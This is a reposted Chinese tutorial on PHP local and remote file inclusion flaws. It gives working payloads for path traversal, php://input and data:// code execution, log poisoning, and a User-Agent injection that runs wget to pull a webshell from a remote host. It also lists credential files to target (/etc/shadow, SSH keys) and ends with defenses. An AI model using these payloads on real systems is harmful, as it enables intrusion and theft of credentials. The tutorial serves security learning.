http://p7.qhimg.com/t01c7abd33c8a0fdd0f.jpg

前言


PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的。而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞。利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段。本文对PHP文件包含漏洞的形成、利用技巧及防范进行了详细的分析,希望对大家攻击方法和防御上有帮助。如果内容有错误纰漏,请留言指正哦~


一、 文件包含概念


1、 概念

"代码注入"的典型代码就是文件包含(File Inclusion),我的理解是叫"外部数据流包含",至于这个外部数据流是什么,可以是文件,也可以是POST数据流的形式。

文件包含可能会出现在JSP,PHP,ASP等语言中。

http://p7.qhimg.com/t01ea3cc5f026c236cc.png

我们这里主要以PHP为例。

简单的来说,就是我们用一个可控的变量作为文件名并以文件包含的的方式调用了它,漏洞就产生了。以PHP为例文件包含漏洞可以分为RFI(远程文件包含)和LFI(本地文件包含漏洞)两种。而区分他们最简单的方法就是php.ini中是否开启了allow_url_include。如果开启了我们就有可能包含远程文件。

1、本地文件包含LFI(Local File Include)

2、远程文件包含RFI(Remote File Include)(需要php.ini中allow_url_include=on)

2、 函数

PHP中四个包含文件的函数:

1)include():

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

2)include_once(): 

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。

3)require(): 

1.require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

2.使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。

4)require_once(): 

它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

区别: 

include(),include_once()在包含文件时,即使遇到错误,只生成警告(E_WARNING),下面的代码依然会继续执行;

而require()和require_once()则会报错,生成致命错误(E_COMPILE_ERROR)并停止脚本,直接退出程序。

因此,如果您希望继续执行,并向用户输出结果,即使包含文件已丢失,那么使用 include。否则,在框架、CMS 或者复杂的 PHP 应用程序编程中,请始终使用 require 向执行流引用关键文件。这有助于在某个关键文件意外丢失的情况下,提高应用程序的安全性和完整性。

参考:

W3School PHP include文件:http://www.w3school.com.cn/php/php_includes.asp 

文件包含漏洞总结:http://byd.dropsec.xyz/2016/07/19/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/ 


二、 主要包含形式


1、包含本地文件

页面后端php文件"main.php"测试代码:

http://p1.qhimg.com/t01774f3b1102a5e2cb.png

http://p1.qhimg.com/t0143862d6a1a79dca9.png

payload:

1
2
3
http://www.aaa.com/include/main.php?page=C:\\oneword
www.aaa.com/file.php?file=C:\\boot.ini(Windows查看系统版本)
www.aaa.com/file.php?file=C:\\Windows\System32\inetsrv\MetaBase.xml(Windows查看IIS配置文件)

(绝对路径)

1
2
3
http://www.aaa.com/include/main.php?page=../../oneword
www.aaa.com/main.php?page=../../../../../etc/passwd
www.aaa.com/main.php?page=../../../../../proc/self/environ

(相对路径)

2、包含远程文件

payload:

1
2
http://www.aaa.com/include/url.php?url=http://www.bbb.com/2.txt
http://www.aaa.com/include/url.php?url=[http|https|ftp]://www.bbb.com/2.txt(可以有三种,http、https、ftp)

参考:

Exploiting PHP File Inclusion – Overview:https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/ 


三、 文件包含技巧


1、包含上传文件

这个很好理解,也是最简单的一种办法。如果用户上传的文件内容中包含PHP代码,那么这些代码被文件包含函数加载后将会被执行。但能否攻击成功,取决于上传功能的设计,比如需要知道上传文件存放的物理路径,还需要上传的文件有执行权限。

防御:

1)做好上传限制

2)隐藏文件路径

3)设置文件访问、执行权限

2、伪协议

1) php://input

说明:

用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。

条件:

php <5.0 ,allow_url_include=Off 情况下也可以用

php > 5.0,只有在allow_url_fopen=On 时才能使用

用例1 增加一句话:

URL:

1
http://localhost/include/file.php?file=php://input

POST:

1
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>

http://p3.qhimg.com/t01d810b4fe4c219ac7.png

结果将在file.php所在文件下的文件shell.php内增加"<?php phpinfo();?>"一句话。

http://p8.qhimg.com/t012e5426ec7d4e0301.png

用例2 增加文件:

URL:

1
http://localhost/include/file.php?file=php://input

POST:

1
<?php fputs(fopen("oneword.php","w"),"<?php phpinfo();?>") ?>

这里fopen参数为w,可新建一个文件。

用例3 执行系统命令:

URL:

1
http://localhost/include/file.php?file=php://input

POST:

1
<?php system('ipconfig');?>

http://p2.qhimg.com/t010d454e482e30f635.png

2)data://

说明:

这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

条件:

1
2
allow_url_include=On
php > 5.2

用例1 文字命令:

后台php代码:

http://p0.qhimg.com/t0115e2ffb6556a534f.png

Payload:

1
2
http://localhost/file.php?file=data:text/plain,<?php system(whoami)?>
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==

(使用了base64加密的内容)

用例2 图片命令:

后台php代码:

http://p1.qhimg.com/t019710ca2c411d705d.png

Payload:

1
http://localhost/image.php?imagedata=data://image/jpeg;base64,.....

(后面加上图片木马)

参考:

data://手册:http://www.php.net/manual/zh/wrappers.data.php 

3)php://filter

说明:

这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:

?page=php://filter/read=convert.base64-encode/resource=php.ini

访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码

http://p2.qhimg.com/t0128370b14235ad0d6.png

解码之后得到:

http://p0.qhimg.com/t011debe472d9e246cb.png

 即为php.ini内容。

Payload:

1
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\\oneword

(绝对路径)

1
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=../../oneword

(相对路径)

1
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt

(远程文件)

参考:

《php:// 》:http://php.net/manual/zh/wrappers.php.php 

3、包含日志文件

说明:

比如Web服务器的访问日志文件,这是一种通用的技巧。因为几乎所有网站都会将用户的访问记录到访问日志中。因此,攻击者可以向Web日志中插入PHP代码,通过文件包含漏洞来执行包含在Web日志中的PHP代码。下面的案例中就是利用该技巧成功获取到目标网站的WebShell的。但需要注意的是,如果网站访问量大的话,日志文件可能会非常大,这时如果包含一个这么大的文件时,PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功。

1)日志默认路径

(1) apache+Linux日志默认路径

1
/etc/httpd/logs/access_log

或者

1
/var/log/httpd/access_log

 (2) apache+win2003日志默认路径

1
2
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件

1
C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件

1
%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件在用户安装目录的logs目录下

如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里

也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)

2)web中间件默认配置

 (1) apache+linux 默认配置文件

1
/etc/httpd/conf/httpd.conf

或者

1
index.php?page=/etc/init.d/httpd

(2) IIS6.0+win2003 配置文件

C:/Windows/system32/inetsrv/metabase.xml 

(3) IIS7.0+WIN 配置文件

C:\Windows\System32\inetsrv\config\applicationHost.config

3)网站配置文件

dedecms数据库配置文件data/common.inc.php,

discuz全局配置文件config/config_global.php,

phpcms配置文件caches/configs/database.php

phpwind配置文件conf/database.php

wordpress配置文件wp-config.php

用例1 包含日志一句话:

PayLoad:

1
http://localhost/include/file.php?file=<?php phpinfo(); ?>

日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent

http://p4.qhimg.com/t019e81705c428f8109.png

但是在日志里这句话被编码了

t01ef9a98fbe789ff7a.png

所以用Burp Suite修改来绕过编码

http://p1.qhimg.com/t013423bd6470b4753d.png

日志内容如下:

Payload:

1
http://localhost/include/file.php?file=../../apache/logs/access.log

(这里利用相对路径,找到日志文件,并以php解析的方式打开了)

t01a0accba3adf423dc.png

这样,日志就成了带有一句话的文件了。

参考:

包含日志文件getshell:http://www.cnblogs.com/my1e3/p/5854897.html 

4、包含/proc/self/environ文件

用例:

1)找到文件包含漏洞

测试一下找出来

1
2
www.aaa.com/view.php?page=../
www.aaa.com/view.php?page=../../../../../etc/passwd

2)检查proc/self/environ是否可用访问

1
www.aaa.com/view.php?page=../../../../../proc/self/environ

可访问就能利用了

3)注入代码

访问

1
www.aaa.com/view.php?page=../../../../../proc/self/environ

选择User-Agent 写代码如下:

1
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>

然后提交请求。

我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.

4)访问shell即可

参考:

LFI通过proc/self/environ直接获取webshell:http://www.linuxso.com/jiaobenruqin/1399.html

5、包含Session文件

说明:

这部分需要攻击者能够控制部分Session文件的内容。PHP默认生成的Session文件一般存放在/tmp目录下。

session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell。

t01f57768a0eddad10a.jpg

 读取session文件:

1
?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2

四、 防御与绕过


1、00字符截断(PHP<5.3.4)

说明:

PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。

1
../etc/passwd\0

通过web输入时,只需UrlEncode,变成:

1
../etc/passwd%00

字符串截断的技巧,也是文件包含中最常用的技巧

防御方法:

在一般的web应用中,0字节用户其实是不需要的,因此完全可以禁用0字节

2、 超长字符截断

采用00字符过滤并没有完全解决问题,

利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html 

我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。

而利用"./"的方式即可构造出超长目录字符串:

http://p3.qhimg.com/t010c6ea7363ed32614.png

除了incldue()等4个函数之外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。例如: fopen()、fread()

3、任意目录遍历

除了这种攻击方式,还可以使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)

http://p4.qhimg.com/t0112f3decbf824933c.png

防御方法:

目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。

open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)

比如在没有设置open_basedir时,文件包含漏洞可以访问任意文件。

当设置了open_basedir时,则包含文件失败。

4、问号截断

http://p1.qhimg.com/t01c9c996c616b5310f.png

这里看似将路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去

攻击者可以构造类似如下的攻击URL:

1
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

产生的原理:

1
/?path=http://localhost/test/solution.php?

最终目标应用程序代码实际上执行了:

1
require_once "http://localhost/test/solution.php?/action/m_share.php";

(注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样)

攻击者可以在http://localhost/test/solution.php上模拟出相应的路径,从而使之吻合

防御思路:

关闭远程文件包含的配置选项allow_url_include = Off

参考:

LFI、RFI、PHP封装协议安全问题学习:http://www.cnblogs.com/littlehann/p/3665062.html 


五、 敏感文件位置


1、Windows:

1
2
3
4
5
6
7
8
  C:\boot.ini  //查看系统版本
  C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
  C:\Windows\repair\sam  //存储系统初次安装的密码
  C:\Program Files\mysql\my.ini  //Mysql配置
  C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
  C:\Windows\php.ini  //php配置信息
  C:\Windows\my.ini  //Mysql配置信息
  ...

2、Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
  /root/.ssh/authorized_keys
  /root/.ssh/id_rsa
  /root/.ssh/id_ras.keystore
  /root/.ssh/known_hosts
  /etc/passwd
  /etc/shadow
  /etc/my.cnf
  /etc/httpd/conf/httpd.conf
  /root/.bash_history
  /root/.mysql_history
  /proc/self/fd/fd[0-9]*(文件标识符)
  /proc/mounts
  /porc/config.gz

六、 防御方法总结


1、无需情况下设置allow_url_include和allow_url_fopen为关闭

2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir

3、尽量不使用动态包含

4、严格检查变量是否已经初始化。

5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。

6、严格检查include类的文件包含函数中的参数是否外界可控。

7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

8、在发布应用程序之前测试所有已知的威胁。



本文转载自 神月资讯

原文链接:http://mp.weixin.qq.com/s/XDwlj6pRx4bQWtNkv_QnVg